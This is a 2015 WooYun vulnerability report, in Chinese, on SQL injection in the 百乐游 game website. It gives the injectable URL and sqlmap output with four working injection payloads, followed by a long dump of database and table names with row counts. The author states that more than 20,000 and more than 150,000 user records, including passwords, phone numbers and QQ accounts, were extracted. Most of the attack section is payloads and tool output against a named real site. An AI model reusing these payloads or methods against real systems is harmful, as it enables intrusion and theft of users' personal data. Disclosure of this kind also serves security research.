当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0137186

漏洞标题:百乐游游戏网站存漏洞#全网数据沦陷(目测数十万)

相关厂商:百乐游

漏洞作者: AuGe

提交时间:2015-08-28 11:19

修复时间:2015-10-12 11:20

公开时间:2015-10-12 11:20

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-28: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-10-12: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

百乐游存漏洞 望高Mark
其中本站的用户信息已经泄露2万+用户 (qq,yy,手机,邮箱,姓名,账户,密码 --等等)
另外一数据库~存15万+用户信息 等等

详细说明:

#流量劫持
发现百乐游官网被流量劫持
一点击官网就自动跳转了

http://www-baidu.co/ql/x.php


#SQL注入漏洞
注入URL:

http://user.blyol.com/detail/?id=21286


1.jpg

漏洞证明:

全站数据库躺枪

1a.jpg


当前网站数据库是“bly”
member表 --dump了下 2万用户信息泄露(QQ,YY,账户,密码,手机号码,年龄,姓名,邮箱)
就一分站 已经泄露2万用户信息了~

1c.jpg


又一站member裤子 泄露 15万+用户 所有信息泄露

3a.jpg


2.jpg


<code>Parameter: id (GET)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: id=21286 RLIKE (SELECT (CASE WHEN (6203=6203) THEN 21286 ELSE 0x28 END))
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: id=21286 AND (SELECT 1311 FROM(SELECT COUNT(*),CONCAT(0x71626a7171,(SELECT (ELT(1311=1311,1))),0x717a786b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 OR time-based blind
Payload: id=21286 OR SLEEP(5)
Type: UNION query
Title: Generic UNION query (NULL) - 4 columns
Payload: id=21286 UNION ALL SELECT NULL,CONCAT(0x71626a7171,0x42714b6f657561416f69,0x717a786b71),NULL,NULL--
---
web server operating system: Linux CentOS 6.5
web application technology: PHP 5.3.3, Apache 2.2.15
back-end DBMS: MySQL 5.0
Database: blybbs
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| pre_common_district | 45051 |
| pre_forum_post | 27047 |
| pre_ucenter_memberfields | 19289 |
| pre_ucenter_members | 19289 |
| pre_common_member | 19288 |
| pre_common_member_count | 19288 |
| pre_common_member_field_forum | 19288 |
| pre_common_member_field_home | 19288 |
| pre_common_member_profile | 19288 |
| pre_common_member_status | 19288 |
| pre_common_credit_rule_log | 8510 |
| pre_home_notification | 8171 |
| pre_forum_statlog | 6665 |
| pre_forum_threadpartake | 6176 |
| pre_common_member_newprompt | 6055 |
| pre_forum_filter_post | 5867 |
| pre_forum_thread | 5658 |
| pre_forum_attachment | 4890 |
| pre_forum_sofa | 3614 |
| pre_mpage_sign | 2316 |
| pre_common_onlinetime | 1469 |
| pre_forum_threadimage | 1166 |
| pre_mpage_sign_count | 846 |
| pre_forum_post_tableid | 840 |
| pre_forum_attachment_1 | 575 |
| pre_forum_attachment_6 | 559 |
| pre_forum_attachment_5 | 558 |
| pre_forum_attachment_2 | 481 |
| pre_forum_attachment_8 | 466 |
| pre_common_stat | 459 |
| pre_forum_attachment_3 | 459 |
| pre_forum_attachment_0 | 433 |
| pre_common_setting | 432 |
| pre_forum_attachment_4 | 423 |
| pre_forum_attachment_9 | 414 |
| pre_forum_attachment_7 | 400 |
| pre_forum_rsscache | 206 |
| pre_forum_modwork | 161 |
| pre_forum_threadhot | 153 |
| pre_forum_attachment_unused | 121 |
| pre_forum_threadcalendar | 113 |
| pre_common_syscache | 112 |
| pre_common_block_style | 103 |
| pre_forum_thread_moderate | 101 |
| pre_common_stylevar | 90 |
| pre_common_smiley | 85 |
| pre_home_favorite | 82 |
| pre_common_admincp_perm | 67 |
| pre_ucenter_notelist | 59 |
| pre_common_nav | 53 |
| pre_common_member_profile_setting | 51 |
| pre_forum_forumfield | 50 |
| pre_forum_forum | 49 |
| pre_common_optimizer | 34 |
| pre_forum_optionvalue2 | 33 |
| pre_forum_postcomment | 33 |
| pre_common_credit_rule | 32 |
| pre_common_pluginvar | 32 |
| pre_forum_typeoptionvar | 32 |
| pre_forum_memberrecommend | 29 |
| pre_forum_moderator | 29 |
| pre_common_member_crime | 27 |
| pre_ucenter_settings | 26 |
| pre_common_cron | 20 |
| pre_common_usergroup | 20 |
| pre_common_usergroup_field | 20 |
| pre_ucenter_pm_members | 20 |
| pre_forum_threadclass | 19 |
| pre_common_credit_log | 17 |
| pre_common_credit_log_field | 17 |
| pre_common_plugin | 17 |
| pre_home_click | 15 |
| pre_ucenter_pm_indexes | 12 |
| pre_forum_hotreply_member | 11 |
| pre_forum_replycredit | 11 |
| pre_baidusubmit_sitemap | 10 |
| pre_forum_hotreply_number | 10 |
| pre_forum_medal | 10 |
| pre_mpage_sign_mood | 10 |
| pre_ucenter_pm_lists | 10 |
| pre_baidusubmit_setting | 9 |
| pre_baidusubmit_urlstat | 8 |
| pre_common_admingroup | 7 |
| pre_forum_typeoption | 7 |
| pre_ucenter_newpm | 7 |
| pre_common_block_pic | 6 |
| pre_home_friend | 6 |
| pre_common_admincp_group | 5 |
| pre_common_cache | 4 |
| pre_common_tag | 4 |
| pre_common_tagitem | 4 |
| pre_forum_bbcode | 4 |
| pre_forum_onlinelist | 4 |
| pre_common_admincp_member | 3 |
| pre_common_block | 3 |
| pre_common_failedlogin | 3 |
| pre_forum_grouplevel | 3 |
| pre_forum_imagetype | 3 |
| pre_forum_polloption | 3 |
| pre_forum_tops | 3 |
| pre_home_friendlog | 3 |
| pre_common_admincp_cmenu | 2 |
| pre_common_block_favorite | 2 |
| pre_common_diy_data | 2 |
| pre_common_failedip | 2 |
| pre_common_member_stat_field | 2 |
| pre_common_statuser | 2 |
| pre_common_style | 2 |
| pre_common_template_block | 2 |
| pre_common_word_type | 2 |
| pre_forum_threadtype | 2 |
| pre_forum_top | 2 |
| pre_home_friend_request | 2 |
| pre_mobile_setting | 2 |
| pre_ucenter_applications | 2 |
| pre_ucenter_pm_messages_1 | 2 |
| pre_ucenter_pm_messages_3 | 2 |
| pre_common_admincp_session | 1 |
| pre_common_advertisement | 1 |
| pre_common_advertisement_custom | 1 |
| pre_common_friendlink | 1 |
| pre_common_grouppm | 1 |
| pre_common_member_grouppm | 1 |
| pre_common_template | 1 |
| pre_common_word | 1 |
| pre_forum_poll | 1 |
| pre_forum_pollvoter | 1 |
| pre_forum_threadprofile | 1 |
| pre_forum_typevar | 1 |
| pre_forum_warning | 1 |
| pre_ucenter_admins | 1 |
| pre_ucenter_failedlogins | 1 |
| pre_ucenter_pm_messages_0 | 1 |
| pre_ucenter_pm_messages_2 | 1 |
| pre_ucenter_pm_messages_4 | 1 |
| pre_ucenter_pm_messages_5 | 1 |
| pre_ucenter_pm_messages_6 | 1 |
| pre_ucenter_pm_messages_7 | 1 |
| pre_ucenter_pm_messages_8 | 1 |
| pre_ucenter_pm_messages_9 | 1 |
| spider_temp_tab | 1 |
+---------------------------------------+---------+
Database: zrwow
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| wow_log | 56623 |
| wow_search_keywords | 13121 |
| wow_uploads | 12766 |
| wow_taglist | 7060 |
| wow_arctiny | 6019 |
| wow_archives | 5847 |
| wow_addonzhuanti | 4694 |
| wow_sys_enum | 3347 |
| wow_tagindex | 2000 |
| wow_mood_ranking | 772 |
| sns_loldb_heros_spells | 565 |
| wow_arctype | 553 |
| wow_arctype420 | 517 |
| wow_mood | 490 |
| wow_area | 482 |
| wow_addonxiaosuo | 473 |
| wow_addonimages | 422 |
| sns_loldb_runes | 271 |
| wow_addonmokuai | 249 |
| wow_erradd | 231 |
| wow_keywords | 226 |
| sns_loldb_items | 188 |
| wow_arctype1 | 184 |
| wow_addonczzn | 172 |
| wow_sysconfig | 155 |
| sns_loldb_heros | 113 |
| wow_channeclick | 103 |
| wow_member | 28 |
| wow_member_person | 28 |
| wow_member_space | 28 |
| wow_member_tj | 28 |
| sns_loldb_heros_tags | 17 |
| wow_admin | 17 |
| wow_stepselect | 16 |
| sns_loldb_items_tag | 14 |
| sns_loldb_spells | 13 |
| wow_addonarticle | 12 |
| wow_scores | 12 |
| wow_channeltype | 10 |
| wow_member_flink | 9 |
| wow_arcatt | 8 |
| wow_arcrank | 8 |
| wow_flinktype | 8 |
| wow_mytag | 8 |
| wow_plus | 7 |
| wow_sys_module | 7 |
| wow_addonspec | 6 |
| wow_feedback | 5 |
| wow_payment | 4 |
| wow_shops_delivery | 4 |
| wow_admintype | 3 |
| wow_co_onepage | 3 |
| wow_moneycard_type | 3 |
| wow_downloads | 2 |
| wow_freelist | 2 |
| wow_member_model | 2 |
| wow_member_stowtype | 2 |
| wow_sys_set | 2 |
| wow_arcmulti | 1 |
| wow_homepageset | 1 |
| wow_member_group | 1 |
| wow_member_type | 1 |
| wow_multiserv_config | 1 |
| wow_softconfig | 1 |
| wow_sys_task | 1 |
| wow_vote | 1 |
+---------------------------------------+---------+
Database: webgame
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| yeyou_zh | 39 |
| yeyou_qf | 30 |
| yeyou_xw | 19 |
| yeyou_yx | 18 |
| yeyou_ad | 1 |
+---------------------------------------+---------+
Database: bly
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| web_jiaoyidata | 2848755 |
| web_card_number | 138190 |
| web_viewallnews | 28271 |
| web_viewallnews1224 | 28271 |
| web_member | 20920 |
| web_cj_log | 15640 |
| web_cj_logview | 15640 |
| web_viewjiaoyi | 14914 |
| web_member_action | 14751 |
| web_member_game_like | 14742 |
| web_viewjiaoyi_dj | 13668 |
| web_kaifu_want | 12456 |
| web_member_login_log | 11492 |
| web_viewjiaoyi_yxzh | 10239 |
| web_badwords | 6601 |
| web_con_log | 4784 |
| web_news | 4225 |
| web_area_all | 3724 |
| web_member_credit_log_4 | 3557 |
| web_member_checkin | 3172 |
| web_member_credit_log_1 | 3108 |
| web_member_credit_log_9 | 3001 |
| web_member_credit_log_6 | 2929 |
| web_talk | 2719 |
| web_member_credit_log_3 | 2718 |
| web_member_credit_log_7 | 2695 |
| web_member_credit_log_0 | 2685 |
| web_member_credit_log_2 | 2671 |
| web_member_credit_log_5 | 2550 |
| web_member_friend | 2276 |
| web_member_credit_log_8 | 2014 |
| web_member_connect | 1883 |
| web_talk_comment | 1535 |
| web_gamedata | 1123 |
| web_member_flower_log | 1090 |
| web_gamegl | 1029 |
| web_member_access | 1020 |
| web_kaifu | 1014 |
| web_viewkaifu | 1014 |
| web_zt_con | 992 |
| web_member_brick_log | 938 |
| web_tp_con | 800 |
| web_comments | 666 |
| web_message_member | 656 |
| web_cjgame | 646 |
| web_viewcjgame | 646 |
| web_zqarc | 515 |
| web_acl | 473 |
| web_area | 399 |
| web_tucao | 376 |
| web_card | 319 |
| web_viewcardsy | 311 |
| web_acl_column | 257 |
| web_shop_browse | 230 |
| web_mobile_log | 202 |
| web_activity | 173 |
| web_special | 145 |
| web_cj_zp | 107 |
| web_member_photo | 105 |
| web_member_find_password | 102 |
| web_gh_member | 98 |
| web_message_pm | 81 |
| web_huangli | 62 |
| web_shipin | 57 |
| web_gh_article | 48 |
| web_system_settings | 48 |
| web_member_acl_column | 43 |
| web_phb_yqw | 40 |
| web_tp_choose | 39 |
| web_shop_order | 38 |
| web_system_seo | 38 |
| web_viewshoporder | 38 |
| web_jb | 33 |
| web_gh | 31 |
| web_member_photo_group | 30 |
| web_gh_coo | 29 |
| web_gh_games | 29 |
| web_member_friend_group | 26 |
| web_shop_product | 26 |
| web_acl_manager | 23 |
| web_acl_role_manager | 22 |
| web_gh_qd | 17 |
| web_system_link | 17 |
| web_shop_category | 16 |
| web_cj_lhj | 14 |
| web_comments_fb | 13 |
| web_viewghzm | 11 |
| web_phb | 10 |
| web_zt | 10 |
| web_zq | 9 |
| web_acl_role | 8 |
| web_member_task | 8 |
| web_member_photo_comment | 7 |
| web_member_photo_reply | 7 |
| web_advert | 6 |
| web_shop_news | 6 |
| web_gh_news | 5 |
| web_jt_con | 4 |
| web_member_level | 4 |
| web_tp | 4 |
| web_gh_admin | 3 |
| web_gh_release | 3 |
| web_member_acl | 3 |
| web_cj_zd | 2 |
| web_shop_card | 2 |
| web_cj_pmd | 1 |
| web_message | 1 |
| web_shop_focus | 1 |
+---------------------------------------+---------+
Database: newzr98
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| tb_game | 1128 |
| tb_maker | 517 |
| tb_activity_cj2012_access | 497 |
| tb_manager_log | 460 |
| tb_guild_game | 183 |
| tb_guild | 57 |
| tb_acl_column | 55 |
| tb_activity_cj2012 | 45 |
| tb_acl | 37 |
| tb_manager | 29 |
| tb_acl_role_manager | 7 |
| tb_acl_role | 5 |
| tb_qipainews | 2 |
| tb_qipaihd | 1 |
+---------------------------------------+---------+
Database: zrsns
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| sns_member | 151784 |
| sns_member_fields | 81110 |
| sns_message | 30677 |
| sns_member_temp | 10091 |
| sns_member_temp_1 | 10091 |
| sns_mobile_log | 8437 |
| sns_account | 6302 |
| sns_member_connect | 6052 |
| sns_qd | 2462 |
| sns_credit_oplog_1 | 1347 |
| sns_gamecpsuser | 823 |
| sns_shop_proimg | 802 |
| sns_credit_oplog_5 | 743 |
| sns_credit_oplog_3 | 738 |
| sns_credit_oplog_4 | 738 |
| sns_credit_oplog_12 | 700 |
| sns_credit_oplog_0 | 684 |
| sns_credit_oplog_10 | 659 |
| sns_credit_oplog_2 | 655 |
| sns_credit_oplog_6 | 650 |
| sns_credit_oplog_13 | 646 |
| sns_credit_oplog_7 | 645 |
| sns_credit_oplog_8 | 639 |
| sns_credit_oplog_9 | 634 |
| sns_credit_oplog_11 | 629 |
| sns_credit_oplog_15 | 614 |
| sns_credit_oplog_14 | 584 |
| sns_message_member | 565 |
| sns_gh_reg | 439 |
| sns_gh_article | 342 |
| sns_shop_product | 248 |
| sns_pay | 229 |
| sns_gamecps | 190 |
| sns_gamecpsview | 190 |
| sns_shop_order_info | 190 |
| sns_tggroupuser | 160 |
| sns_account_log | 152 |
| sns_gh_gonghui | 139 |
| sns_news_article | 132 |
| sns_shop_order_goods | 126 |
| sns_guild | 124 |
| sns_qipai_article | 118 |
| sns_tggroup | 103 |
| sns_tggroup_view | 77 |
| sns_sessions | 69 |
| sns_shop_category | 65 |
| sns_member_error | 33 |
| sns_system_type_list | 33 |
| sns_slider | 30 |
| sns_gh_gonghui_member | 28 |
| sns_settings | 27 |
| sns_admin_users | 21 |
| sns_gh_type | 16 |
| sns_shop_brand | 11 |
| sns_sociaty_article | 8 |
| sns_system_type | 8 |
| sns_admin_groups | 7 |
| sns_shop_article | 7 |
| sns_sociaty_type | 7 |
| sns_pay_error | 6 |
| sns_qipai_game_gift | 6 |
| sns_shop_games_form | 6 |
| sns_qipai_type | 5 |
| sns_shop_games | 5 |
| sns_news_type | 4 |
| sns_settings_type | 4 |
| sns_message_category | 2 |
| sns_shop_arttype | 2 |
| sns_gh_artparam | 1 |
| sns_gh_pk | 1 |
+---------------------------------------+---------+
Database: tea
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| dede_sys_enum | 3347 |
| dede_area | 482 |
| dede_sysconfig | 155 |
| dede_uploads | 32 |
| dede_arctype | 27 |
| dede_addonarticle | 19 |
| dede_archives | 19 |
| dede_arctiny | 19 |
| dede_stepselect | 15 |
| dede_scores | 12 |
| dede_arcatt | 8 |
| dede_arcrank | 8 |
| dede_flinktype | 8 |
| dede_channeltype | 6 |
| dede_plus | 6 |
| dede_sys_module | 6 |
| dede_payment | 4 |
| dede_shops_delivery | 4 |
| dede_admintype | 3 |
| dede_co_onepage | 3 |
| dede_flink | 3 |
| dede_moneycard_type | 3 |
| dede_arccache | 2 |
| dede_freelist | 2 |
| dede_member_model | 2 |
| dede_member_stowtype | 2 |
| dede_sys_set | 2 |
| dede_admin | 1 |
| dede_homepageset | 1 |
| dede_member | 1 |
| dede_member_group | 1 |
| dede_member_person | 1 |
| dede_member_space | 1 |
| dede_member_tj | 1 |
| dede_member_type | 1 |
| dede_softconfig | 1 |
| dede_vote | 1 |
+---------------------------------------+---------+
Database: mysql
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| help_relation | 1009 |
| help_topic | 510 |
| help_keyword | 453 |
| help_category | 40 |
| `user` | 3 |
+---------------------------------------+---------+
Database: django
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| auth_permission | 24 |
| django_admin_log | 13 |
| django_content_type | 8 |
| blog_blogspost | 2 |
| django_site | 2 |
| auth_user | 1 |
| django_session | 1 |
+---------------------------------------+---------+
Database: dz
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| web_jiaoyidata | 625592 |
| web_card_number | 138140 |
| pre_common_district | 45051 |
| web_cj_log | 15518 |
| web_badwords | 6601 |
| web_con_log | 4221 |
| web_area_all | 3724 |
| pre_forum_statlog | 2045 |
| pre_forum_post | 1854 |
| pre_forum_thread | 1763 |
| pre_forum_attachment | 1217 |
| web_gamedata | 1123 |
| web_gamegl | 1029 |
| pre_forum_threadimage | 984 |
| web_comments | 665 |
| web_cjgame | 646 |
| pre_common_tagitem | 633 |
| pre_common_tag | 486 |
| web_acl | 473 |
| web_area | 399 |
| pre_common_smiley | 375 |
| pre_common_word | 375 |
| pre_common_setting | 374 |
| pre_forum_groupfield | 357 |
| pre_forum_groupcreditslog | 320 |
| web_card | 318 |
| pre_forum_activity | 265 |
| pre_view_activity | 265 |
| pre_forum_rsscache | 262 |
| web_acl_column | 257 |
| pre_forum_threadpartake | 224 |
| pre_common_credit_rule_log | 209 |
| pre_forum_post_tableid | 198 |
| web_activity | 173 |
| pre_forum_groupuser | 147 |
| pre_common_member_count | 138 |
| pre_common_member_field_forum | 138 |
| pre_common_member_field_home | 138 |
| pre_common_member_profile | 138 |
| pre_common_member_status | 138 |
| pre_common_member | 137 |
| pre_forum_attachment_2 | 137 |
| pre_home_notification | 137 |
| pre_forum_attachment_5 | 134 |
| pre_forum_attachment_9 | 131 |
| pre_common_block_item | 126 |
| pre_forum_attachment_0 | 125 |
| pre_forum_attachment_1 | 120 |
| pre_forum_attachment_3 | 117 |
| pre_forum_attachment_7 | 117 |
| pre_common_syscache | 114 |
| pre_forum_attachment_8 | 114 |
| pre_forum_attachment_4 | 112 |
| pre_common_block_style | 111 |
| pre_forum_attachment_6 | 110 |
| web_cj_zp | 107 |
| pre_common_stat | 101 |
| pre_common_member_verify | 98 |
| web_gh_member | 97 |
| pre_forum_threadclass | 96 |
| pre_forum_forumfield | 81 |
| pre_forum_forum | 80 |
| pre_common_admincp_perm | 67 |
| web_huangli | 62 |
| pre_common_template_block | 55 |
| pre_common_member_profile_setting | 51 |
| pre_forum_threadmod | 49 |
| web_gh_article | 48 |
| pre_common_stylevar | 45 |
| pre_common_block | 37 |
| pre_common_nav | 37 |
| pre_home_userapp | 36 |
| pre_home_userappfield | 36 |
| web_jb | 33 |
| web_gh | 31 |
| pre_common_credit_rule | 30 |
| web_gh_coo | 29 |
| web_gh_games | 29 |
| pre_common_magic | 25 |
| pre_common_usergroup_field | 25 |
| pre_common_usergroup | 24 |
| pre_common_flower | 23 |
| pre_common_myapp | 23 |
| web_acl_manager | 23 |
| web_acl_role_manager | 22 |
| pre_connect_memberbindlog | 19 |
| pre_forum_modwork | 19 |
| pre_common_member_connect | 18 |
| pre_common_onlinetime | 18 |
| web_gh_qd | 17 |
| pre_home_click | 15 |
| web_cj_lhj | 14 |
| pre_common_mytask | 13 |
| pre_common_taskvar | 13 |
| web_comments_fb | 13 |
| pre_common_credit_log | 12 |
| pre_common_cron | 12 |
| pre_forum_medal | 10 |
| pre_common_regip | 9 |
| pre_common_statuser | 9 |
| pre_common_task | 9 |
| pre_forum_imagetype | 8 |
| web_acl_role | 8 |
| pre_common_admingroup | 7 |
| pre_common_diy_data | 7 |
| pre_forum_attachtype | 7 |
| pre_forum_grouplevel | 6 |
| pre_forum_typeoption | 6 |
| web_advert | 6 |
| pre_common_admincp_group | 5 |
| pre_common_friendlink | 5 |
| web_gh_news | 5 |
| pre_common_failedlogin | 4 |
| pre_forum_bbcode | 4 |
| pre_forum_onlinelist | 4 |
| pre_forum_ratelog | 4 |
| pre_common_plugin | 3 |
| pre_home_favorite | 3 |
| web_gh_admin | 3 |
| web_gh_release | 3 |
| pre_common_word_type | 2 |
| pre_forum_activityapply | 2 |
| pre_forum_poststick | 2 |
| pre_home_friend | 2 |
| web_cj_zd | 2 |
| pre_common_addon | 1 |
| pre_common_admincp_cmenu | 1 |
| pre_common_admincp_session | 1 |
| pre_common_advertisement | 1 |
| pre_common_advertisement_custom | 1 |
| pre_common_credit_rule_log_field | 1 |
| pre_common_myinvite | 1 |
| pre_common_style | 1 |
| pre_common_template | 1 |
| pre_forum_memberrecommend | 1 |
| pre_forum_postcomment | 1 |
| pre_home_poke | 1 |
| pre_home_pokearchive | 1 |
| pre_home_show | 1 |
| web_cj_pmd | 1 |
+---------------------------------------+---------+
Database: zrbbs
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| tuiguang1 | 8379888 |
| tuiguang | 4220734 |
| pre_forum_post | 187290 |
| pre_home_notification | 184312 |
| pre_forum_postlog | 160097 |
| pre_common_member | 116546 |
| pre_common_member_count | 116546 |
| pre_common_member_field_forum | 116546 |
| pre_common_member_field_home | 116546 |
| pre_common_member_profile | 116546 |
| pre_common_member_status | 116546 |
| pre_forum_threadlog | 112084 |
| pre_forum_threadpartake | 84625 |
| pre_common_member_verify | 81458 |
| pre_forum_statlog | 56330 |
| pre_common_district | 45051 |
| pre_common_credit_rule_log | 24924 |
| pre_common_onlinetime | 23741 |
| pre_forum_thread | 21321 |
| pre_plugin_dsuampper | 19506 |
| pre_forum_attachment | 19427 |
| pre_common_tagitem | 16070 |
| pre_connect_tlog | 11385 |
| pre_connect_feedlog | 11370 |
| pre_common_word | 9456 |
| pre_connect_memberbindlog | 8962 |
| pre_common_member_connect | 8853 |
| pre_common_tag | 6155 |
| pre_common_credit_log | 4223 |
| pre_forum_threadimage | 3899 |
| pre_forum_modwork | 2595 |
| pre_plugin_dsurcdreport | 2443 |
| pre_forum_attachment_4 | 2381 |
| pre_forum_attachment_6 | 2247 |
| pre_forum_attachment_2 | 2218 |
| pre_forum_attachment_7 | 2134 |
| pre_forum_threadmod | 2062 |
| pre_forum_attachment_5 | 2000 |
| pre_forum_attachment_8 | 1812 |
| pre_forum_attachment_1 | 1727 |
| pre_forum_attachment_9 | 1630 |
| pre_forum_attachment_0 | 1616 |
| pre_forum_rsscache | 1569 |
| pre_forum_attachment_3 | 1498 |
| pre_forum_groupfield | 1449 |
| pre_common_regip | 1243 |
| pre_common_moderate | 937 |
| pre_common_stylevar | 900 |
| pre_forum_post_tableid | 740 |
| pre_common_stat | 730 |
| tuiguang_user | 726 |
| pre_common_smiley | 705 |
| pre_forum_postposition | 569 |
| pre_forum_groupuser | 503 |
| pre_forum_memberrecommend | 456 |
| pre_common_setting | 391 |
| pre_forum_pollvoter | 335 |
| pre_forum_forumfield | 317 |
| pre_forum_forum | 315 |
| pre_common_block_item | 290 |
| pre_common_block_pic | 257 |
| pre_common_member_verify_info | 257 |
| pre_forum_activityapply | 238 |
| pre_common_block_item_data | 224 |
| pre_forum_ratelog | 205 |
| pre_forum_threadclass | 197 |
| pre_forum_medallog | 191 |
| pre_home_friend_request | 180 |
| credit_log | 163 |
| pre_common_syscache | 158 |
| pre_forum_polloption | 149 |
| pre_common_member_action_log | 137 |
| pre_forum_groupcreditslog | 137 |
| pre_myrepeats | 127 |
| pre_home_friend | 118 |
| pre_home_favorite | 116 |
| pre_common_block | 107 |
| pre_common_mytask | 107 |
| pre_common_template_block | 106 |
| pre_common_block_style | 105 |
| pre_common_admincp_perm | 90 |
| pre_xwb_bind_info | 74 |
| pre_common_statuser | 71 |
| pre_common_pluginvar | 64 |
| pre_home_friendlog | 59 |
| pre_forum_debatepost | 56 |
| pre_common_diy_data | 55 |
| pre_common_member_profile_setting | 51 |
| pre_common_nav | 50 |
| pre_common_word_type | 39 |
| pre_forum_spacecache | 36 |
| pre_forum_threadrush | 36 |
| pre_renren_connect | 36 |
| pre_xwb_bind_thread | 36 |
| pre_forum_moderator | 35 |
| pre_home_pokearchive | 35 |
| pre_common_report | 32 |
| pre_home_poke | 32 |
| pre_common_credit_rule | 30 |
| pre_forum_poststick | 30 |
| pre_kx_bind_info | 28 |
| pre_common_magic | 25 |
| pre_common_member_grouppm | 25 |
| pre_common_usergroup_field | 21 |
| pre_common_style | 20 |
| pre_common_usergroup | 20 |
| pre_forum_poll | 20 |
| pre_forum_medal | 19 |
| pre_common_relatedlink | 18 |
| pre_home_click | 15 |
| pre_common_grouppm | 14 |
| pre_common_advertisement | 13 |
| pre_common_cron | 13 |
| pre_common_plugin | 13 |
| pre_forum_onlinelist | 13 |
| pre_common_member_stat_field | 11 |
| pre_forum_activity | 11 |
| pre_forum_postcomment | 9 |
| pre_common_task | 8 |
| pre_forum_access | 8 |
| pre_common_friendlink | 7 |
| pre_common_taskvar | 7 |
| pre_common_admincp_cmenu | 6 |
| pre_forum_imagetype | 6 |
| pre_forum_typeoption | 6 |
| pre_forum_warning | 6 |
| pre_common_admincp_group | 5 |
| pre_common_admingroup | 4 |
| pre_common_block_favorite | 4 |
| pre_common_cache | 4 |
| pre_common_failedlogin | 4 |
| pre_common_template | 4 |
| pre_forum_attachtype | 4 |
| pre_forum_bbcode | 4 |
| pre_forum_debate | 4 |
| pre_forum_replycredit | 4 |
| pre_common_admincp_session | 3 |
| pre_common_card_log | 3 |
| pre_common_addon | 2 |
| pre_common_card | 2 |
| pre_common_admincp_member | 1 |
| pre_common_advertisement_custom | 1 |
| pre_common_card_type | 1 |
| pre_common_secquestion | 1 |
| pre_common_uin_black | 1 |
| pre_forum_grouplevel | 1 |
| pre_home_feed | 1 |
| pre_kx_bind_thread | 1 |
| pre_test | 1 |
+---------------------------------------+---------+
Database: wp
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| wp_options | 126 |
| wp_usermeta | 14 |
| wp_posts | 3 |
| wp_postmeta | 2 |
| wp_comments | 1 |
| wp_term_relationships | 1 |
| wp_term_taxonomy | 1 |
| wp_terms | 1 |
| wp_users | 1 |
+---------------------------------------+---------+
Database: seo
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| web_jiaoyidata | 2848755 |
| web_card_number | 138140 |
| web_viewallnews | 27501 |
| web_viewallnews1224 | 27501 |
| web_member | 20251 |
| web_cj_log | 15518 |
| web_cj_logview | 15518 |
| web_viewjiaoyi | 14914 |
| web_member_game_like | 14618 |
| web_member_action | 13859 |
| web_viewjiaoyi_dj | 13668 |
| web_kaifu_want | 12448 |
| web_member_login_log | 10931 |
| web_viewjiaoyi_yxzh | 10239 |
| web_badwords | 6601 |
| web_con_log | 4221 |
| web_news | 4153 |
| web_area_all | 3724 |
| web_member_credit_log_4 | 3472 |
| dede_sys_enum | 3347 |
| web_member_credit_log_1 | 3066 |
| web_member_checkin | 3045 |
| web_member_credit_log_9 | 2942 |
| web_member_credit_log_6 | 2814 |
| web_talk | 2694 |
| web_member_credit_log_2 | 2609 |
| web_member_credit_log_3 | 2568 |
| web_member_credit_log_0 | 2560 |
| web_member_credit_log_7 | 2479 |
| web_member_credit_log_5 | 2461 |
| web_member_friend | 2146 |
| web_member_credit_log_8 | 1974 |
| web_member_connect | 1825 |
| web_talk_comment | 1513 |
| web_gamedata | 1123 |
| web_gamegl | 1029 |
| web_member_flower_log | 1025 |
| web_kaifu | 1014 |
| web_viewkaifu | 1014 |
| dede_log | 992 |
| web_zt_con | 989 |
| web_member_access | 940 |
| web_member_brick_log | 870 |
| web_tp_con | 800 |
| web_comments | 665 |
| web_cjgame | 646 |
| web_viewcjgame | 646 |
| web_message_member | 625 |
| web_zqarc | 515 |
| dede_area | 482 |
| web_acl | 473 |
| web_area | 399 |
| web_tucao | 348 |
| web_card | 318 |
| web_viewcardsy | 313 |
| web_acl_column | 257 |
| web_shop_browse | 215 |
| web_mobile_log | 201 |
| web_activity | 173 |
| dede_sysconfig | 153 |
| web_special | 142 |
| dede_addondy | 128 |
| dede_arctiny | 128 |
| web_cj_zp | 107 |
| web_member_photo | 105 |
| dede_uploads | 102 |
| web_gh_member | 97 |
| web_member_find_password | 91 |
| web_message_pm | 81 |
| web_huangli | 62 |
| web_shipin | 57 |
| dede_guestbook | 51 |
| web_gh_article | 48 |
| web_system_settings | 48 |
| web_member_acl_column | 43 |
| web_phb_yqw | 40 |
| web_tp_choose | 39 |
| web_system_seo | 38 |
| web_shop_order | 37 |
| web_viewshoporder | 37 |
| web_jb | 33 |
| web_gh | 31 |
| web_member_photo_group | 30 |
| web_gh_coo | 29 |
| web_gh_games | 29 |
| web_member_friend_group | 26 |
| web_shop_product | 26 |
| web_acl_manager | 23 |
| web_acl_role_manager | 22 |
| dede_myad | 20 |
| web_gh_qd | 17 |
| web_system_link | 17 |
| web_shop_category | 16 |
| dede_stepselect | 15 |
| web_cj_lhj | 14 |
| web_comments_fb | 13 |
| dede_scores | 12 |
| web_viewghzm | 11 |
| web_phb | 10 |
